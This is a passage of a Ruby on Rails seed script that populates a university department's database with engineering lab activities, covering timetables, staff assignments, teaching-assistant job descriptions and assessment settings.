$ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a344.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a345 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"216\").first_or_create!(name: \"PLC2: Counters and Timers\",\n name_abrv: \"PLC 2 - C & T\", archived: false, in_drive: false, user_id: 1)\n at345 = ActivityTimetable.where(activity_id: a345.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a345.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a345.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is an extension of the PLC 1 laboratory, the students will be using counters and timers to perform event driven operations on a manufacturing process control system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a345.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a345.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a346 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"216\").first_or_create!(name: \"PLC2: Counters and Timers\",\n name_abrv: \"PLC 2 - C & T\", archived: false, in_drive: false, user_id: 1)\n at346 = ActivityTimetable.where(activity_id: a346.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a346.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a346.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is an extension of the PLC 1 laboratory, the students will be using counters and timers to perform event driven operations on a manufacturing process control system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a346.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a346.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a347 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"217\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: false, in_drive: false, user_id: 2)\n at347 = ActivityTimetable.where(activity_id: a347.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a347.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a347.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"The aims of this laboratory session is to drive different type of actuators using a PWM output from\n an Arduino device, use timers to sequence control functions, and use sensors to adjust the\n behaviour of a system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a347.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a347.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a348 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"217\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: false, in_drive: false, user_id: 2)\n at348 = ActivityTimetable.where(activity_id: a348.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a348.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a348.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a348.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a348.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a349 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS329\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 5)\n at349 = ActivityTimetable.where(activity_id: a349.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a349.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a349.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a349.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a349.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n\n\n a350 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS337\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 1)\n at350 = ActivityTimetable.where(activity_id: a350.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a350.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a350.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a350.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a350.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a351 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6329\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 1)\n at351 = ActivityTimetable.where(activity_id: a351.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a351.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a351.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a351.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a351.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n\n\n a352 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"219\").first_or_create!(name: \"Random Signals and Stochastic Systems\",\n name_abrv: \"SS-Stochastic\", archived: false, in_drive: false, user_id: 3)\n at352 = ActivityTimetable.where(activity_id: a352.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a352.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a352.id).first_or_create!(criteria: \"Must have a an understanding of the concepts of white noise, and how the power spectral densities at the input and output of an LTI system, and its cross-power spectral density, can be used to calculate the frequency response of the system in question.\",\n job_desc:\"During this session, the students will investigate the characteristics of white noise, and investigate how white noise can be used to find the frequency response characteristics of a system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a352.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a352.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n\n\n a353 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"220\").first_or_create!(name: \"Robot Arm Assembly and Actuation\",\n name_abrv: \"Robot - Assembly\", archived: false, in_drive: false, user_id: 1)\n at353 = ActivityTimetable.where(activity_id: a353.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a353.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a353.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this laboratory session, the students will construct a simple robotic arm, and use an Arduino to control the joint servos in open loop.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a353.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a353.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a354 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"221\").first_or_create!(name: \"Robot Arm Control\",\n name_abrv: \"Robot - Control\", archived: false, in_drive: false, user_id: 2)\n at354 = ActivityTimetable.where(activity_id: a354.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a354.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a354.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"The aim of this practical session is to understand the basics of robot arm motion designing by actuating the formerly assembled robot arm for grasping and trajectory following performances.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a354.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a354.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a355 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"222\").first_or_create!(name: \"Servo System Compensator Design\",\n name_abrv: \"Servo-S\", archived: true, in_drive: false, user_id: 5)\n at355 = ActivityTimetable.where(activity_id: a355.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a355.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a355.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involved the design of three compensatory for a control system, and evaluating their performance on a hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a355.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a355.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n\n\n a356 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"222\").first_or_create!(name: \"Servo System Compensator Design\",\n name_abrv: \"Discrete S\", archived: false, in_drive: false, user_id: 1)\n at356 = ActivityTimetable.where(activity_id: a356.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a356.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a356.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involved the design of three compensatory for a control system, and evaluating their performance on a hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a356.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a356.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a357 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"223\").first_or_create!(name: \"Tank Level System - Modelling and Analysis\",\n name_abrv: \"TANKS\", archived: false, in_drive: false, user_id: 5)\n at357 = ActivityTimetable.where(activity_id: a357.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 18, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a357.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a357.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves developing a 1st order model of a fluid tank level system, from time domain equations. In the laboratory, they will parameterise the experimental system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a357.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a357.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a358 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"224\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: false, in_drive: false, user_id: 2)\n at358 = ActivityTimetable.where(activity_id: a358.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a358.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a358.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a358.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a358.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a359 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"224\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: false, in_drive: false, user_id: 5)\n at359 = ActivityTimetable.where(activity_id: a359.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a359.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a359.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a359.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a359.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a359.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a360 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"225\").first_or_create!(name: \"Time Domain Analysis of a Mass Spring Damping System\",\n name_abrv: \"MSD1\", archived: false, in_drive: false, user_id: 3)\n at360 = ActivityTimetable.where(activity_id: a360.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a360.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a360.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves modelling and analysis of the performance characteristics of a 2nd order Mass, Spring, Damper system, in the time domain.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a360.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a360.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a361 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"226\").first_or_create!(name: \"Time Domain Analysis of a Servo System\",\n name_abrv: \"Time Servo\", archived: false, in_drive: false, user_id: 1)\n at361 = ActivityTimetable.where(activity_id: a361.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 11, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a361.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a361.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a361.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a361.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a362 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS219\").first.id, code: \"227\").first_or_create!(name: \"TSC - Tanks Modelling and Control Design\",\n name_abrv: \"TSC Software\", archived: false, in_drive: false, user_id: 5)\n at362 = ActivityTimetable.where(activity_id: a362.id).first_or_create!(duration: 180, kit_prep_time: 120, min_week_num: 9, max_week_num: 12, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 42, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a362.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a362.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is a computer room simulation of a chemical process plant. The laboratory consists of modelling and linearisation of a process control system, design and performance analysis of a PI controller.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a362.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a362.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a362.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a363 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS334\").first.id, code: \"227\").first_or_create!(name: \"TSC: Tanks Modelling and Control Design\",\n name_abrv: \"TSC Software\", archived: true, in_drive: false, user_id: 4)\n at363 = ActivityTimetable.where(activity_id: a363.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 45, takedown_time: 45, notes: \"\",\n capacity: 190, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a363.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a363.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is a computer room simulation of a chemical process plant. The laboratory consists of modelling and linearisation of a process control system, design and performance analysis of a PI controller.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a363.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a363.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a365 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: 